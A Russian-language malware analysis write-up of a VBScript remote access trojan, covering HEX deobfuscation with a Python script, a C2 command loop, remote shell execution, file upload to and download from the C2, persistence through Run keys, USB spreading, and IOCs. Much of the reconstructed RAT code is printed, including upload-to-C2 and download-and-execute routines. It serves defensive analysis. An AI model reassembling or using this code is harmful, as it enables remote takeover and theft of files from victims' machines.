Введение

На анализ поступил файл VEFLSQM. По результатам исследования он классифицирован как троян удалённого доступа (RAT).

Образец написан на VBScript и использует стандартные COM-компоненты Windows для работы с файловой системой, процессами, реестром и сетью. Основная логика скрыта за несколькими уровнями обфускации.

Первоначально файл содержит конструкции вида:

f=f&h("703D2822222222290D0A673D2876626372290D0A746578743D...")
f=f&h("2E7368656C6C222670262229222667262264696D206673...")
f=f&h("267026226D73786D6C322E786D6C687474702226672622...")

Здесь h() получает HEX-строку, а результат последовательно добавляется к переменной f.

После декодирования становится доступен второй уровень VBScript.

Снятие первого уровня обфускации

Для восстановления кода были извлечены все аргументы h(), содержащие HEX-данные. Далее каждый блок преобразовывался из HEX в байты и объединялся.

import re
from pathlib import Path

src = Path("1.vbs").read_text(
    encoding="utf-8",
    errors="ignore"
)

chunks = re.findall(
    r'f\s*=\s*f\s*&\s*h\("([0-9A-Fa-f]+)"\)',
    src
)

print(f"[+] HEX blocks: {len(chunks)}")

text = ''.join(
    bytes.fromhex(chunk).decode("latin-1")
    for chunk in chunks
)

text = text.replace("f!", "function")

Path("decoded.vbs").write_text(
    text,
    encoding="utf-8"
)

После этого получается VBScript, в котором уже видны используемые объекты и основная логика RAT.

Важно отметить, что HEX в данном случае не является шифрованием. Это способ скрытия содержимого скрипта и усложнения поверхностного анализа.

Инициализация

Первое, что делает восстановленный скрипт, — создаёт необходимые COM-объекты:

dim sh
set sh = wscript.createobject("wscript.shell")

dim fs
set fs = createobject("scripting.filesystemobject")

dim htp
set htp = createobject("msxml2.xmlhttp")

Таким образом:

  • WScript.Shell используется для запуска процессов и работы с реестром;

  • Scripting.FileSystemObject — для работы с файлами и каталогами;

  • MSXML2.XMLHTTP — для HTTP-коммуникации.

Также определяется каталог, в котором находится скрипт:

path = fs.GetParentFolderName(WScript.ScriptFullName)

После этого включается:

On Error Resume Next

что позволяет продолжать выполнение при возникновении ошибок.

Обработка аргументов

Скрипт поддерживает аргумент командной строки:

Set Arg = WScript.Arguments

if Arg.length > 0 then
    sh.Run "explorer /root," & ...
End if

При наличии аргумента запускается explorer.exe с параметром /root, то есть открывается переданный путь.

C2 и основной цикл

После инициализации задаются параметры связи:

YUc5emRB = chrw(120)&chrw(110)&chrw(056)&...
cG9ydA = Asc(chrw(200+26))
YzNC = "<" & "|" & ">"
sleep = 5000

Адрес C2 скрыт с помощью последовательности chrw().

Порт рассчитывается динамически:

cG9ydA = Asc(chrw(200+26))

Результат — 226.

После этого запускается основной цикл:

while true
    i = i + 1

    If i = 4 Then
        install
        i = 0
    End If

    response = post("is-ready","")
    M2R = split(response,YzNC)

    select case M2R(0)
        ...
    end select

    wscript.sleep sleep
wend

Скрипт регулярно обращается к C2, получает ответ, разбирает его и выполняет соответствующую команду.

Интересная деталь — функция install вызывается не только при первоначальном запуске. Она периодически вызывается внутри основного цикла.

Система команд

Ответ C2 разделяется через собственный разделитель:

M2R = split(response,YzNC)

Первая часть ответа определяет команду:

select case M2R(0)

case "excecute"
    param = M2R(1)
    execute param

case "update"
    ...

case "uninstall"
    uninstall

case "send"
    download M2R(1),M2R(2)

case "site-send"
    sitedownloader M2R(1),M2R(2)

case "recv"
    upload M2R(1)

case "enum-driver"
    post "is-enum-driver",enumdriver

case "enum-faf"
    post "is-enum-faf",enumfaf(param)

case "enum-process"
    post "is-enum-process",enumprocess

case "M2R-shell"
    post "is-M2R-shell",M2Rshell(param)

case "delete"
    deletefaf(param)

case "exit-process"
    exitprocess(param)

case "sleep"
    sleep = eval(param)

end select

Таким образом, C2 управляет практически всеми основными функциями образца.

Выполнение команд

Для выполнения команд используется функция M2Rshell():

function M2Rshell(M2R)

    set oexec = sh.exec("%comspec% /c " & M2R)

    if not oexec.stdout.atendofstream then
        readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
        readallfromany = oexec.stderr.readall
    else
        readallfromany = ""
    end if

    M2Rshell = readallfromany

end function

Команда из C2 передаётся в:

%comspec% /c <command>

После выполнения RAT читает stdout или stderr и возвращает результат оператору.

Работа с файлами

Для загрузки файла с C2 используется функция download().

objhttpdownload.open "post", _
    "http://" & YUc5emRB & ":" & cG9ydA & _
    "/is-sending" & YzNC & fileurl, false

objhttpdownload.send ""

Полученное содержимое сохраняется через ADODB.Stream:

with objstreamdownload
    .type = 1
    .open
    .write objhttpdownload.responsebody
    .savetofile strsaveto
    .close
end with

После сохранения файл запускается:

sh.run objfsodownload.getfile(strsaveto).shortpath

Таким образом, оператор может передать файл на заражённую машину и инициировать его запуск.

Загрузка файла с внешнего URL

Есть и второй механизм — sitedownloader().

В отличие от download(), он использует обычный HTTP GET:

objhttpdownload.open "get", strlink, false
objhttpdownload.send

После получения ответа 200 данные записываются в файл через ADODB.Stream.

Это позволяет RAT загружать файлы не только непосредственно с C2, но и с указанного внешнего URL.

Передача файлов на C2

Обратная операция реализована функцией upload():

set objstreamuploade = createobject("adodb.stream")

with objstreamuploade
    .type = 1
    .open
    .loadfromfile fileurl
    buffer = .read
    .close
end with

После чтения файл отправляется:

htp.open "post", _
    "http://" & YUc5emRB & ":" & cG9ydA & _
    "/is-recving" & YzNC & fileurl, false

htp.send buffer

Таким образом, реализована полноценная двусторонняя передача файлов.

Перечисление дисков

Функция enumdriver() перебирает все доступные диски:

for each drive in fs.drives

    if drive.isready = true then
        enumdriver = enumdriver & _
            drive.path & "|" & _
            drive.drivetype & YzNC
    end if

next

Для каждого доступного диска передаются путь и тип устройства.

Результат отправляется на:

/is-enum-driver

Перечисление файловой системы

Функция enumfaf() получает содержимое указанного каталога.

Для каталогов собираются имя, тип и атрибуты:

for each folder in fs.getfolder(enumdir).subfolders
    ...
next

Для файлов:

for each file in fs.getfolder(enumdir).files
    ...
next

Полученная информация отправляется на:

/is-enum-faf

Таким образом, оператор может удалённо просматривать файловую систему заражённой машины.

Перечисление процессов

Для получения списка процессов используется WMI:

set objwmiservice = _
    getobject("winmgmts:\\.\root\cimv2")

set colitems = _
    objwmiservice.execquery( _
        "select * from win32_process",,48)

Для каждого процесса собираются:

enumprocess = enumprocess & objitem.name & "|"
enumprocess = enumprocess & objitem.processid & "|"
enumprocess = enumprocess & objitem.executablepath & YzNC

Таким образом, C2 получает:

  • имя процесса;

  • PID;

  • путь к исполняемому файлу.

Завершение процессов

Отдельная функция exitprocess() получает PID и вызывает:

sh.run "taskkill /F /T /PID " & pid, 7, true

Ключи /F и /T обеспечивают принудительное завершение процесса вместе с дочерними процессами.

Сбор информации о системе

Функция information() собирает базовые сведения о заражённом хосте:

inf = "2__" & hwid & YzNC
inf = inf & sh.expandenvironmentstrings("%computername%") & YzNC
inf = inf & sh.expandenvironmentstrings("%username%") & YzNC

Через WMI дополнительно получается информация об операционной системе:

set root = getobject( _
    "winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")

set os = root.execquery( _
    "select * from win32_operatingsystem")

Также собирается информация об установленном защитном ПО.

Формирование HWID

HWID реализован отдельной функцией.

Сначала выполняется запрос:

set disks = root.execquery( _
    "select * from win32_logicaldisk")

После чего используется VolumeSerialNumber:

if disk.volumeserialnumber <> "" then
    hwid = disk.volumeserialnumber

Таким образом, серийный номер логического диска используется в качестве идентификатора заражённого хоста.

C2-функция

Весь сетевой обмен централизован в функции post():

function post(M2R,param)

    post = param

    htp.open "post", _
        "http://" & YUc5emRB & ":" & cG9ydA & _
        "/" & M2R, false

    htp.setrequestheader "user-agent:",information

    htp.send param

    post = htp.responsetext

end function

Здесь есть важная деталь: в HTTP-заголовок User-Agent передаётся information.

То есть запрос к C2 содержит сведения о заражённой системе непосредственно в HTTP-заголовке.

Persistence

Механизм закрепления реализован в upstart():

sh.regwrite _
    "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & _
    split(aW5zdGF,".")(0), _
    "wscript.exe //B //E:vbs " & _
    chrw(34) & YVc1em & aW5zdGF & chrw(34), _
    "REG_SZ"

Аналогичная запись выполняется в:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

После этого исходный скрипт копируется в %APPDATA%:

fs.copyfile _
    wscript.scriptfullname, _
    YVc1em & aW5zdGF, _
    true

Таким образом, в системе появляется установленная копия RAT, запускаемая автоматически при входе пользователя.

Проверка установленной копии

После установки выполняется сравнение текущего файла с копией:

set scriptfullnameshort = fs.getfile(wscript.scriptfullname)
set installfullnameshort = fs.getfile(YVc1em & aW5zdGF)

if lcase(scriptfullnameshort.shortpath) <> _
   lcase(installfullnameshort.shortpath) then

    sh.run "wscript.exe //B //E:vbs " & _
        chr(34) & YVc1em & aW5zdGF & Chr(34)

    wscript.quit

end if

Если выполняется исходный экземпляр, он запускает установленную копию и завершает себя.

Распространение через USB

Внутри install() реализовано перебирание дисков:

for each drive in fs.drives

    if drive.isready = true then
        if drive.freespace > 0 then

            if drive.drivetype = 1 then
                fs.copyfile _
                    wscript.scriptfullname, _
                    drive.path & "\" & aW5zdGF, _
                    true

Для съёмного диска копируется текущий VBScript.

После этого файл получает атрибуты:

fs.getfile(...).attributes = 2+4

То есть:

2 = Hidden
4 = System

Дополнительно создаются каталоги и .lnk-файлы, через которые запускается скрытый VBScript.

Таким образом, USB-носитель используется как механизм дальнейшего распространения вредоносной программы.

Обновление

Команда update позволяет заменить установленный VBScript:

oneonce.close

set oneonce = fs.opentextfile( _
    YVc1em & aW5zdGF, 2, false)

oneonce.write param
oneonce.close

После записи новой версии запускается обновлённый экземпляр:

sh.run "wscript.exe //B //E:vbs " & _
    chr(34) & YVc1em & aW5zdGF & chr(34)

wscript.quit

Таким образом, оператор может обновить код RAT без повторного заражения системы.

Самоудаление

Для удаления используется команда uninstall.

Удаление файлов и каталогов выполняется через:

fs.deletefile url
fs.deletefolder url

Дополнительно удаляются записи автозапуска и созданные .lnk-файлы.

Это позволяет оператору удалить установленный экземпляр после завершения работы.

Второй уровень обфускации

После снятия HEX-слоя сам VBScript всё ещё остаётся обфусцированным.

Код формируется как одна большая строка:

p=("""")
g=(vbcr)

text="dim sh "&g& _
     "set sh = wscript.createobject("&p& _
     "wscript.shell"&p&")"&g& ...

Используются:

  • p — хранение кавычек;

  • g — хранение перевода строки;

  • chrw() — формирование отдельных символов;

  • конкатенация строк;

  • короткие имена переменных;

  • скрытые строковые значения.

В конце сформированный код передаётся в:

ExecuteGlobal(...)

В результате реальная логика RAT формируется непосредственно во время выполнения.

Что в итоге делает образец

После восстановления кода функциональность образца можно представить следующим образом:

VEFLSQM | v HEX-обфускация | v восстановленный VBScript | +--------------+--------------+ | | | v v v WScript.Shell FileSystemObject XMLHTTP | | | | | v | | C2 | | | +--------------+--------------+ | v команды оператора | +--------------------+--------------------+ | | | | | v v v v v cmd.exe файлы процессы сбор обновление данных | | | | +----------+----------+---------+ | +-----------+-----------+ | | v v Run keys USB | | v v persistence spreading

IOC (Indicators of Compromise):

  • MD5: 2fa0e66d8cb4872ef3c6319a3641e2e8

  • SHA-1: fe9cff4c25aa36051ad8d038ecc79bd1ed9eb3e1

  • SHA-256: 00cc17f7380443b443de3aa92c7f9216653bdd40501aafc7185ee53e1c1b1079

  • C2-домен: xn.n..sytes.net

  • C2-порт: 226

  • C2 URL: http://xn.n..sytes.net:226/<endpoint>

  • Протокол: HTTP

  • Методы: GET, POST

  • Механизм HTTP-взаимодействия: MSXML2.XMLHTTP

  • SSDeep: 384:RIv91VF264GCNtZuCwvYVL+hrA/0o23xKP0HTZVm:Rq9N4NNHuCwvYVL+hrq0o2hKPl

Заключение

Исследованный файл VEFLSQM представляет собой VBScript Remote Access Trojan с HTTP-взаимодействием с C2.

В коде реализованы:

  • выполнение произвольных команд через %comspec%;

  • управление процессами;

  • перечисление процессов через WMI;

  • работа с файлами и каталогами;

  • загрузка файлов на заражённую систему;

  • выгрузка файлов на C2;

  • загрузка файлов с внешних URL;

  • сбор информации об ОС, пользователе и компьютере;

  • получение HWID;

  • определение установленного антивирусного ПО;

  • HTTP-коммуникация с C2;

  • persistence через Run;

  • копирование в %APPDATA%;

  • обновление собственного кода;

  • самоудаление;

  • распространение через USB;

  • скрытие вредоносных файлов атрибутами Hidden + System.

При этом shellcode, DLL-инъекция и отдельный механизм повышения привилегий в исследованном коде не обнаружены.

Основная особенность образца — реализация полноценного RAT исключительно средствами VBScript и стандартных компонентов Windows. Несколько уровней обфускации скрывают исходную логику, однако после восстановления кода становится видно, что скрипт предоставляет оператору практически полный набор функций для удалённого управления заражённой системой.

Комментарии (0)